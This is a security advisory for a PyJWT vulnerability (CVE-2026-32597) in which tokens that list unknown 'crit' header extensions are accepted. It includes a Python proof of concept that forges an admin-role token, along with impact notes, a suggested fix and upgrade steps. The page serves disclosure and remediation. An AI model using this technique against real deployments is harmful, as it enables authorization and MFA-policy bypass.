Skip to content

GHSA-752w-5fwx-jx9f CVE-2026-32597 PYSEC-2026-120

PyJWT accepts unknown `crit` header extensions

High PyPI
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.28%
Chance of exploitation in the next 30 days. Higher than 20.45% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-345 Insufficient Verification of Data Authenticity
CWE-863 Incorrect Authorization
Fix
2.12.0
Upgrade pyjwt to this version or later

Description

Summary

PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib), which received CVSS 7.5 (HIGH).


RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this specification and/or [JWA] are being used that MUST be understood and processed. [...] If any of the listed extension Header Parameters are not understood and supported by the recipient, then the JWS is invalid.


Proof of Concept

import jwt  # PyJWT 2.8.0
import hmac, hashlib, base64, json

# Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"

# Should REJECT — x-custom-policy is not understood by PyJWT
try:
    result = jwt.decode(token, "secret", algorithms=["HS256"])
    print(f"ACCEPTED: {result}")
    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
    print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy Actual: Token accepted, payload returned.

Comparison with RFC-compliant library

# jwcrypto — correctly rejects
from jwcrypto import jwt as jw_jwt, jwk
key = jwk.JWK(kty="oct", k=b64url(b"secret"))
jw_jwt.JWT(jwt=token, key=key, algs=["HS256"])
# raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

Impact

  • Split-brain verification in mixed-library deployments (e.g., API gateway using jwcrypto rejects, backend using PyJWT accepts)
  • Security policy bypass when crit carries enforcement semantics (MFA, token binding, scope restrictions)
  • Token binding bypass — RFC 7800 cnf (Proof-of-Possession) can be silently ignored
  • See CVE-2025-59420 for full impact analysis

Suggested Fix

In jwt/api_jwt.py, add validation in _validate_headers() or decode():

_SUPPORTED_CRIT = {"b64"}  # Add extensions PyJWT actually supports

def _validate_crit(self, headers: dict) -> None:
    crit = headers.get("crit")
    if crit is None:
        return
    if not isinstance(crit, list) or len(crit) == 0:
        raise InvalidTokenError("crit must be a non-empty array")
    for ext in crit:
        if ext not in self._SUPPORTED_CRIT:
            raise InvalidTokenError(f"Unsupported critical extension: {ext}")
        if ext not in headers:
            raise InvalidTokenError(f"Critical extension {ext} not in header")

CWE

  • CWE-345: Insufficient Verification of Data Authenticity
  • CWE-863: Incorrect Authorization

References

Affected versions

PyPI

PackageVulnerableFixed in
pyjwt
< 2.12.0
2.12.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pyjwt PyPI → 2.12.0

pip
pip install --upgrade "pyjwt>=2.12.0"
poetry
poetry add "pyjwt>=2.12.0"
uv
uv add "pyjwt>=2.12.0"

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-345: Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Advisories

Packages

Other links

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-pxh4-856f-4h89
PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery
High Also affects pyjwt
GHSA-gvp8-978c-rx2q
PyJWT.decode() reintroduces options-dict mutation, enabling silent claim-verification bypass on dict reuse
Medium Also affects pyjwt
GHSA-x33g-cr3x-6449
PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion
High Also affects pyjwt
GHSA-w6j9-cwv2-h6wq
PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set
High Also affects pyjwt
GHSA-w2cx-738m-mc7w
PyJWT accepts public JWK containers as HMAC secrets
High Also affects pyjwt
GHSA-r6x4-923q-g947
PyJWT BOM Bypass
High Also affects pyjwt
GHSA-p4g4-x82p-q773
PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard
High Also affects pyjwt
GHSA-jwrc-g2q2-pq5p
PyJWT: ReDoS vulnerability when calling the `is_pem_format` function.
Medium Also affects pyjwt
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor